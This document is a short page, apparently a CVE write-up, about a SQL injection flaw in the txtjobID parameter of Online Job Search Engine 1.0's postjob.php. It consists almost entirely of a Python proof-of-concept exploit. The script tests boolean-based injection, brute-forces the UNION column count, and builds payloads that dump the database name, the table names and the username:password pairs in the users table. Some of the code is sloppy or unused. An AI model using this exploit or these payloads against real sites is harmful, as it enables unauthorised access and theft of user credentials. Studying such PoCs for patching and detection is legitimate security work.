CVE-2025-11583：Online Job Search Engine 1.0 SQL注入漏洞

# CVE-2025-11583 - Online Job Search Engine 1.0 SQL Injection PoC # Vulnerability: SQL Injection via txtjobID parameter in /postjob.php # Author: Security Researcher # Reference: https://github.com/iMayday-Yee/Vulnerability/issues/5 import requests import sys TARGET_URL = "http://target.com/postjob.php" INJECTION_PARAM = "txtjobID" def check_injection(url): """Check if the target is vulnerable to SQL injection""" # Normal request normal_payload = "1" try: r_normal = requests.get(url, params={INJECTION_PARAM: normal_payload}, timeout=10) normal_length = len(r_normal.text) except Exception as e: print(f"[ERROR] Connection failed: {e}") return False # Boolean-based injection payload (true condition) true_payload = "1' OR '1'='1" try: r_true = requests.get(url, params={INJECTION_PARAM: true_payload}, timeout=10) true_length = len(r_true.text) except Exception as e: print(f"[ERROR] Request failed: {e}") return False # Boolean-based injection payload (false condition) false_payload = "1' OR '1'='2" try: r_false = requests.get(url, params={INJECTION_PARAM: false_payload}, timeout=10) false_length = len(r_false.text) except Exception as e: print(f"[ERROR] Request failed: {e}") return False print(f"[*] Normal response length: {normal_length}") print(f"[*] True condition response length: {true_length}") print(f"[*] False condition response length: {false_length}") # If true condition returns different response than false, target is vulnerable if true_length != false_length: print("[+] Target is VULNERABLE to SQL injection!") return True else: print("[-] Target does not appear to be vulnerable") return False def exploit_union_injection(url): """Attempt UNION-based SQL injection to extract data""" # Determine number of columns first for i in range(1, 15): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" try: r = requests.get(url, params={INJECTION_PARAM: payload}, timeout=10) if r.status_code == 200 and "error" not in r.text.lower()[:500]: print(f"[+] Number of columns: {i}") # Extract database info info_payload = f"-1' UNION SELECT {cols}-- -" print(f"[*] Payload: {payload}") return True except Exception: continue return False def extract_data(url, columns): """Extract sensitive data via UNION injection""" # Get current database name cols = ",".join([str(x) for x in range(1, columns+1)]) db_payload = f"-1' UNION SELECT database(),{cols[2:]}-- -" print(f"[*] Database extraction payload: {db_payload}") # Get table names tables_payload = f"-1' UNION SELECT group_concat(table_name),{cols[2:]} FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Tables extraction payload: {tables_payload}") # Get user credentials users_payload = f"-1' UNION SELECT group_concat(username,0x3a,password),{cols[2:]} FROM users-- -" print(f"[*] Users extraction payload: {users_payload}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Target: {target}") print("[*] Testing for SQL injection vulnerability (CVE-2025-11583)...") if check_injection(target): print("[*] Attempting UNION-based exploitation...") if exploit_union_injection(target): print("[+] Exploitation successful!") else: print("[-] UNION exploitation failed, try time-based blind injection")